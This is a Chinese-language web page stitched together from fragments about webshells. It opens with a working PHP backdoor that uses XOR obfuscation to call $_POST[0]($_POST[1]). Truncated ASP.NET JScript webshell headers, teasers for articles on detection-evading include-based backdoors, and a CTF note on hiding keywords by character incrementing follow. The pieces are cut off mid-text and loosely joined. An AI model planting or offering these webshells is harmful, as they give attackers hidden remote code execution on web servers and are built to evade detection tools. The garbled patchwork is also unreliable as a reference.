| 代码比较简单，利用php异或(^)非字母数字生成后门， 详细的有关php异或的解释，参考：编写变态的(非字母数字的)PHP后门 文中提到的这种： |
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
接力昨天的ashx一句话http://www.5kik.com/aspnews/646.html，今天放出的是基于webservice实现的一句话，另外还有asmx的小马 一并打包。<%@ WebService Language="JScript" class="ScriptMethodSpy"%>import System;import System.Web;import Syste
0×00 前言在Web安全领域WebShell的构造与查杀是永不停息的话题，这几天发现了一种新型方式生成WebShell，隐蔽度高，目前安全查杀软件没法检测到相关的后门漏洞，不同于 eval 或则 asset 等方式运行后门，对于这两个函数禁用的情况下一样适用，目前除了禁用相关函数还暂时没有相关方式来避免漏洞。0×01 后门原理在PHP开发中，我们使用最为频繁的指令大概就是 include 指令， include 指令中一些比较普通的文件包含漏洞我们就忽略了，先来看看一串代码：include&n
<%@ WebHandler Language="JScript" class="AsyncHandlerSpy"%>import System;import System.Web;import System.IO;public class AsyncHandlerSpy implements IHttpAsyncHandler{function
目录0. 引言1. webshell原理介绍2. webshell的常见类型以及变种方法3. webshell的检测原理以及检测工具4. webshell隐藏反检测对抗手段 0. 引言本文旨在研究Webshell的各种猥琐编写方式以及webshell后门的生成、检测技术，主要分享了一些webshell的编写方法以及当前对webshell的识别、检测技术的原理以及相应工具的使用，希望能给研究这一领域的朋友带来一点点帮助，同时抛砖引玉，和大
之前玩CTF遇到一个一句话很有意思，于是就把之前收藏的文章拿出来看看，学习一下，同时分享给各位。所有的吗都是在前人的基础上稍作修改，对于一些关键点会稍作解释，方便大家理解。
隐藏关键字，通过对单个字符变量进行++操作来获取其他字符，再进行拼接得到我们想要的函数。
1
2
3
4
5
6
7
8@$_=[].''; //PHP5.3之后(不包括5.3)才能这么用，数组被强制转换成字符串，获取字符串Array，等下要用到A
@$___=$_['']; //获取A字符，这里的空字符串会被转换成0，即['']变成[0]
$_ = 'A';
$_++;//$_的值为A
$__ = "Z";
$__++;//$__的值为AA，而不会是ASCII字符Z